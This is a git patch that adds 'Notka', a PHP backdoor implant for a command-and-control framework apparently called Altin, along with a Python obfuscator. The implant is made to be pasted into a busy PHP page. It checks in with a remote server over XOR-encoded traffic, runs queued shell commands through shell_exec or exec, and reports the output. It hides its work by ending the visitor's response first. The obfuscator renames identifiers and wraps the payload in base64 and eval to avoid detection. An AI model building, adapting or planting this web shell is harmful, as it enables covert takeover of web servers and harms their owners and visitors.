From 62f9d2b736a27d2fb5aa54cb827efe1e11dfc5af Mon Sep 17 00:00:00 2001 From: connorgadbois Date: Sun, 11 Oct 2026 14:12:25 -0500 Subject: [PATCH] Created Notka agent --- implants/notka/README.md | 17 ++++ implants/notka/notka.php | 194 ++++++++++++++++++++++++++++++++++++ implants/notka/obfuscate.py | 147 +++++++++++++++++++++++++++ 3 files changed, 358 insertions(+) create mode 100644 implants/notka/README.md create mode 100644 implants/notka/notka.php create mode 100644 implants/notka/obfuscate.py diff --git a/implants/notka/README.md b/implants/notka/README.md new file mode 100644 index 0000000..e32e9db --- /dev/null +++ b/implants/notka/README.md @@ -0,0 +1,17 @@ +# Notka + +A minimal PHP implant meant to be dropeed into a high traffic PHP page. Requesting the page registeres the implant with Altin and runs all commands queued. + +## Config +Set the `$server` and `$key` in `notka.php` + +## Obfuscate +The payload can be obfuscated by running the `obfuscate.py` script, it will output the obfuscated version to `payload.php`. + +## Deployment +The contents of `payload.php` can the be pasted into any PHP page. + +## Commands +|Command|Description|Arguments| +|---|---|---| +|`shell`|Run a command|command: str| \ No newline at end of file diff --git a/implants/notka/notka.php b/implants/notka/notka.php new file mode 100644 index 0000000..e3f7d0e --- /dev/null +++ b/implants/notka/notka.php @@ -0,0 +1,194 @@ +// Config +$server = 'http://127.0.0.1:3000'; +$key = 'asdf'; + +// Protocol +define('ACTION_CHECKIN', 1); +define('ACTION_REGISTER', 2); +define('ACTION_TASK_RESULT', 3); + +define('STATUS_ERROR', 0); +define('STATUS_CONTINUE', 1); +define('STATUS_TASKS', 2); +define('STATUS_REGISTER', 3); +define('STATUS_INVALID', 4); + +function xor_msg($string, $key) { + $result = ''; + $key_len = strlen($key); + for ($i = 0; $i < strlen($string); $i++) { + $result .= $string[$i] ^ $key[$i % $key_len]; + } + return $result; +} + +function send_request($server, $key, $data) { + $context = stream_context_create([ + 'http' => [ + 'method' => 'POST', + 'header' => "Content-Type: application/json\r\n", + 'content' => xor_msg(json_encode($data), $key), + 'timeout' => 10, + 'ignore_errors' => true, + ], + ]); + + $response = @file_get_contents($server, false, $context); + + if ($response === false || $response === '') { + return(null); + } + + $decoded = json_decode(xor_msg($response, $key), true); + + if (!is_array($decoded)) { + return(null); + } + + return($decoded); +} + +function build_commands() { + return([ + [ + 'command' => 'shell', + 'description' => 'Run a shell command on the system', + 'args' => [ + [ + 'name' => 'command', + 'arg_type' => 'str', + 'description' => 'The command to run', + 'required' => true + ] + ] + ] + ]); +} + +function send_registration($server, $key) { + $data = [ + 'implant_id' => 'notka', + 'ip' => getHostByName(getHostName()), + 'action' => ACTION_REGISTER, + 'registration' => [ + 'os' => php_uname('s'), + 'commands' => build_commands() + ] + ]; + + $response = send_request($server, $key, $data); + + if ($response === null || !isset($response['status'])) { + return(STATUS_ERROR); + } + + return($response['status']); +} + +function do_checkin($server, $key) { + $data = [ + 'implant_id' => 'notka', + 'ip' => getHostByName(getHostName()), + 'action' => ACTION_CHECKIN + ]; + + return(send_request($server, $key, $data)); +} + +function report_task_result($server, $key, $task_id, $result) { + $data = [ + 'implant_id' => 'notka', + 'ip' => getHostByName(getHostName()), + 'action' => ACTION_TASK_RESULT, + 'result' => [ + 'task_id' => $task_id, + 'result' => $result + ] + ]; + + return(send_request($server, $key, $data)); +} + +function run_shell($command) { + if (function_exists('shell_exec')) { + $output = @shell_exec($command . ' 2>&1'); + if ($output !== null) { + return($output); + } + } + + if (function_exists('exec')) { + $lines = []; + @exec($command . ' 2>&1', $lines); + return(implode("\n", $lines)); + } + + return('Failed to run command'); +} + +function run_task($task) { + if (!isset($task['task']) || !isset($task['args']) || $task['task'] !== 'shell') { + return('Unknown command'); + } + + if (!isset($task['args'][0]) || $task['args'][0] === '') { + return('No command provided'); + } + + return(run_shell($task['args'][0])); +} + +function handle_checkin($server, $key, $response) { + if ($response === null || !isset($response['status'])) { + return; + } + + switch ($response['status']) { + case STATUS_TASKS: + if (!isset($response['tasks']) || !is_array($response['tasks'])) { + return; + } + + // Run every queued command and report the results + foreach ($response['tasks'] as $task) { + $result = run_task($task); + report_task_result($server, $key, $task['task_id'], $result); + } + break; + + case STATUS_REGISTER: + // Not registered yet, register and check in again + send_registration($server, $key); + handle_checkin($server, $key, do_checkin($server, $key)); + break; + + default: + break; + } +} + +function main($server, $key) { + // Run in the background: hand the response to the client and keep working + ignore_user_abort(true); + set_time_limit(0); + + if (function_exists('fastcgi_finish_request')) { + fastcgi_finish_request(); + } else { + header('Connection: close'); + header('Content-Length: 0'); + while (ob_get_level() > 0) { + ob_end_flush(); + } + flush(); + } + + // Register (idempotent), then do a single checkin callback + $status = send_registration($server, $key); + + if ($status === STATUS_CONTINUE) { + handle_checkin($server, $key, do_checkin($server, $key)); + } +} + +main($server, $key); \ No newline at end of file diff --git a/implants/notka/obfuscate.py b/implants/notka/obfuscate.py new file mode 100644 index 0000000..95a3a56 --- /dev/null +++ b/implants/notka/obfuscate.py @@ -0,0 +1,147 @@ +import re +import random +import string +import base64 + +def random_name(length=8): + return ''.join(random.choices(string.ascii_letters, k=length)) + +def tokenize_php(code): + token_pattern = re.compile( + r""" + ("(?:\\.|[^"])*") | # double quoted string + ('(?:\\.|[^'])*') | # single quoted string + (//[^\n]*\n?) | # single-line comment + (/\*.*?\*/) | # multi-line comment + (\$[a-zA-Z_]\w*) | # variable + ([a-zA-Z_]\w*) | # identifier + (\s+) | # whitespace + (.) # everything else + """, + re.VERBOSE | re.DOTALL + ) + + tokens = [] + for match in token_pattern.finditer(code): + tokens.append(match.group(0)) + return tokens + + +def obfuscate_php(code: str, wrap_eval=False, one_liner=False) -> str: + tokens = tokenize_php(code) + + var_map = {} + func_map = {} + superglobals = { + "$_GET", "$_POST", "$_REQUEST", "$_SERVER", + "$_SESSION", "$_COOKIE", "$_FILES", "$_ENV", "$GLOBALS" + } + + output = [] + next_is_function_name = False + i = 0 + + while i < len(tokens): + token = tokens[i] + + # Preserve strings and comments + if token.startswith(("'", '"', "//", "/*")): + output.append(token) + i += 1 + continue + + # Detect function keyword + if token == "function": + next_is_function_name = True + output.append(token) + i += 1 + continue + + # Rename function declaration + if next_is_function_name and re.match(r'[a-zA-Z_]\w*', token): + if token not in func_map: + func_map[token] = random_name() + output.append(func_map[token]) + next_is_function_name = False + i += 1 + continue + + # Handle variables + if re.match(r'\$[a-zA-Z_]\w*', token): + + original_var = token + + if original_var in superglobals: + output.append(original_var) + i += 1 + continue + + if original_var not in var_map: + var_map[original_var] = "$" + random_name() + + new_var = var_map[original_var] + + # Detect assignment to string literal + j = i + 1 + while j < len(tokens) and tokens[j].isspace(): + j += 1 + + if j < len(tokens) and tokens[j] == "=": + k = j + 1 + while k < len(tokens) and tokens[k].isspace(): + k += 1 + + if ( + k < len(tokens) + and (tokens[k].startswith('"') or tokens[k].startswith("'")) + ): + string_literal = tokens[k] + unquoted = string_literal[1:-1] + encoded = base64.b64encode(unquoted.encode()).decode() + + output.append(new_var) + output.append("=") + output.append(f'base64_decode("{encoded}")') + + i = k + 1 + continue + + output.append(new_var) + i += 1 + continue + + # Rename function calls + if token in func_map: + output.append(func_map[token]) + i += 1 + continue + + output.append(token) + i += 1 + + result = ''.join(output) + + # -------- MAKE ONE LINER -------- + if one_liner: + # Collapse all whitespace to single spaces + result = re.sub(r'\s+', ' ', result) + + # Remove spaces around common operators/punctuation + result = re.sub(r'\s*([{}();,=+\-*/<>])\s*', r'\1', result) + + result = result.strip() + + # Optional full script base64 wrap + if wrap_eval: + encoded = base64.b64encode(result.encode()).decode() + result = f'eval(base64_decode("{encoded}"));' + + return result + +payload = open('notka.php', 'r') +obfuscated_payload = obfuscate_php(payload.read(), True, True) +payload.close() + +output = open('payload.php', 'w') +output.write(obfuscated_payload) +output.close() \ No newline at end of file